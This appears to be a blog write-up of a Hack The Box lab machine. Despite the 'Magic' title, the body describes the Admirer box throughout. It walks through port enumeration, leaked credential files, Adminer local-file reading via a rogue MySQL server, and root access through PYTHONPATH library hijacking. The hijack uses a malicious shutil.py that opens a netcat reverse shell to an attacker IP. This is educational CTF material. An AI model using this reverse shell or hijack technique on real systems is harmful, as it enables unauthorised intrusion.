Post
Cancel

Hack The Box: Magic machine write-up

This was one of the most interesting machines I’ve solved in Hack The Box, learned some cool techniques. It taught me how recon never ends, despite having found many things there is always stuff to discover and bruteforce. On top of that, I learned that Python has a PYTHONPATH variable, used to load libraries! This, of course, can be hijacked, which is what we are going to do in the box.

Let’s dig in! The IP of the machine is 10.10.10.187.

Enumeration

I start by enumerating open ports to discover the services running in the machine. I fire up nmap:

Result of nmap scan

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Nmap 7.70 scan initiated Mon May 25 19:17:36 2020 as: nmap -p- -sV -sC -oA nmap/all 10.10.10.187 Nmap scan report for 10.10.10.187 (10.10.10.187) Host is up (0.075s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA) | 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA) |_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 1 disallowed entry |_/admin-dir |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Admirer Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon May 25 19:35:29 2020 -- 1 IP address (1 host up) scanned in 1072.95 seconds 

Interesting, we have FTP, a web server and SSH! I first tried to see if anonymous login was allowed in the FTP server but no luck, so decided to dive into the web application.

Port 80 enumeration

We can see that this is some sort of photography website:

Initial webpage

Now, one interesting thing my nmap scan caught was robots.txt. I visited it and found two interesting things: a username (waldo) and a directory (admin-dir).

Robots.txt information

Now the message was pretty explicit so I manually tried to get the files myself without bruteforcing and to my surprise managed to get them in the first few tries: credentials.txt and contacts.txt.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 root@kali:~/Desktop/Admirer# curl http://admirer.htb/admin-dir/credentials.txt [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P [FTP account] ftpuser %n?4Wz}R$tTF7 [Wordpress account] admin w0rdpr3ss01! root@kali:~/Desktop/Admirer# curl http://admirer.htb/admin-dir/contacts.txt ########## # admins # ########## # Penny Email: p.wise@admirer.htb ############## # developers # ############## # Rajesh Email: r.nayyar@admirer.htb # Amy Email: a.bialik@admirer.htb # Leonard Email: l.galecki@admirer.htb ############# # designers # ############# # Howard Email: h.helberg@admirer.htb # Bernadette Email: b.rauch@admirer.htb 

Looks like we have credentials for the FTP service: ftpuser:%n?4Wz}R$tTF7. Port 21 enumeration I logged in using the credentials found to find two files, both of which I downloaded to inspect locally. FTP connection • dump.sql didn’t contain useful information, as it was only a text file with the schema of a database. • html.tar.gz contained the following files: Files contained in tar file I started to inspect files in /w4ld0s_s3cr3t_d1r and found that credentials had an extra set: [Bank Account]. However, I couldn’t find any way to use them. New credentials found Then I moved on to /utility-scripts and found different scripts, out of which db_admin.php was the most interesting: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php$servername = "localhost"; $username = "waldo";$password = "Wh3r3_1s_w4ld0?"; // Create connection $conn = new mysqli($servername, $username,$password); // Check connection if ($conn->connect_error) { die("Connection failed: " .$conn->connect_error); } echo "Connected successfully"; // TODO: Finish implementing this or find a better open source alternative ?> 

There was another one called info.php which called phpinfo():

Discovering new files

However, the credentials weren’t useful. I then looked at index.php and found, once again, more credentials. But guess what? I wouldn’t be able to use them anywhere.

1 2 3 4 $servername = "localhost";$username = "waldo"; $password = "]F7jLHw:*G>UPrTo}~A"d6b";$dbname = "admirerdb"; 

I was out of ideas.

Back to port 80

With this new information I figured that I was missing some kind of information, so I started to bruteforce files again. I tried with all the new directories from the files that I had got from the FTP service and eventually got something!

Discovering new files

Ironically none of the credentials worked, I tried many combinations but not a single one gave me access. A bit lost again I decided to look for exploits given the version of Adminer. I stumbled upon this article: https://medium.com/bugbountywriteup/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f.

Then, after a bit more of googling I found that there is a serious flag in Adminer via which an attacker can connect to their local SQL server and request local files! Here is the article.

Gaining user

The strategy was simple: set up a local SQL server, then request files until we get some sort of credentials.

Setting up the SQL server

I first started the service and set up a database called test.

Setting up the database

Then I had to open up the database to allow remote connections. I used this article as a guide. This was done by modifying /etc/mysql/mariadb.conf.d/50-server.cnf:

1 bind-address = 0.0.0.0 

Then restart the server and we could get connections!

Connecting to my local database

Hmmmm, I kept on reading the article and realised I hadn’t granted permissions!

Granting permissions (part 1)

Weirdly enough, I didn’t get in. However, the error message was different.

Different error on second attempt

Then I granted permissions to the normal root user and was in!

Granting permissions (part 2)

Exploit successful

I started to read local files with /etc/passwd but there appeared to be some sort of restriction to read files from absolute paths.

So I figured that I could try to read index.php. My reasoning was the following: as this was the database of the website and in the index.php from the FTP server I had found some credentials, then if I could get the actual index.php I could get the valid credentials for the database. Eventually using ../index.php worked.

Executing SQL commands

Getting new credentials

Now with this new set of credentials I was able to access the local database and started looking around. However, I couldn’t find anything juicy. Then it dawned on me that these credentials could actually be the username and password for the SSH! I tried and was in.

Using the database credentials for SSH

Privilege escalation

As always, I started running sudo -l to see if I could run something as root being waldo.

Sudoers file

Turns out I do so I quickly went and checked out /opt/scripts/admin_tasks.sh:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 #!/bin/bash view_uptime() { /usr/bin/uptime -p } view_users() { /usr/bin/w } view_crontab() { /usr/bin/crontab -l } backup_passwd() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/passwd to /var/backups/passwd.bak..." /bin/cp /etc/passwd /var/backups/passwd.bak /bin/chown root:root /var/backups/passwd.bak /bin/chmod 600 /var/backups/passwd.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi } backup_shadow() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/shadow to /var/backups/shadow.bak..." /bin/cp /etc/shadow /var/backups/shadow.bak /bin/chown root:shadow /var/backups/shadow.bak /bin/chmod 600 /var/backups/shadow.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi } backup_web() { if [ "$EUID" -eq 0 ] then echo "Running backup script in the background, it might take a while..." /opt/scripts/backup.py & else echo "Insufficient privileges to perform the selected operation." fi } backup_db() { if [ "$EUID" -eq 0 ] then echo "Running mysqldump in the background, it may take a while..." #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql & /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql & else echo "Insufficient privileges to perform the selected operation." fi } # Non-interactive way, to be used by the web interface if [ $# -eq 1 ] then option=$1 case $option in 1) view_uptime ;; 2) view_users ;; 3) view_crontab ;; 4) backup_passwd ;; 5) backup_shadow ;; 6) backup_web ;; 7) backup_db ;; *) echo "Unknown option." >&2 esac exit 0 fi # Interactive way, to be called from the command line options=("View system uptime" "View logged in users" "View crontab" "Backup passwd file" "Backup shadow file" "Backup web data" "Backup DB" "Quit") echo echo "[[[ System Administration Menu ]]]" PS3="Choose an option: " COLUMNS=11 select opt in "${options[@]}"; do case $REPLY in 1) view_uptime ; break ;; 2) view_users ; break ;; 3) view_crontab ; break ;; 4) backup_passwd ; break ;; 5) backup_shadow ; break ;; 6) backup_web ; break ;; 7) backup_db ; break ;; 8) echo "Bye!" ; break ;; *) echo "Unknown option." >&2 esac done exit 0  I thought about using a path hijacking with echo, as it was the only command that wasn’t using an absolute path, but then realised it could actually never work because of the fact that when running as sudo the path will be changed. I kept reading and found the following line: /opt/scripts/backup.py &. It seemed interesting, as in the past I’ve had privilege escalations with Python import libraries hijackings. 1 2 3 4 5 6 7 8 9 10 11 12 #!/usr/bin/python3 from shutil import make_archive src = '/var/www/html/' # old ftp directory, not used anymore #dst = '/srv/ftp/html' dst = '/var/backups/html' make_archive(dst, 'gztar', src)  Now, it took me a bit to put everything together and see how it fit. Turns out that the SETENV directive expects us to pass some variable to the program being run as sudo so we can actually pass a PYTHONPATH variable pointing to a directory where we have a malicious shutil.py with a function called make_archieve. 1 2 3 waldo@admirer:/tmp$ cat shutil.py def make_archive(a,b,c): __import__('os').system('nc -e /bin/sh 10.10.15.101 1234') 

Then we run sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh and we get root.

Root command execution

This is everything, I hope you enjoyed the writeup and learned something new! If you liked it you can give me respect on Hack The Box through the following link: https://www.hackthebox.eu/home/users/profile/31531. Until next time!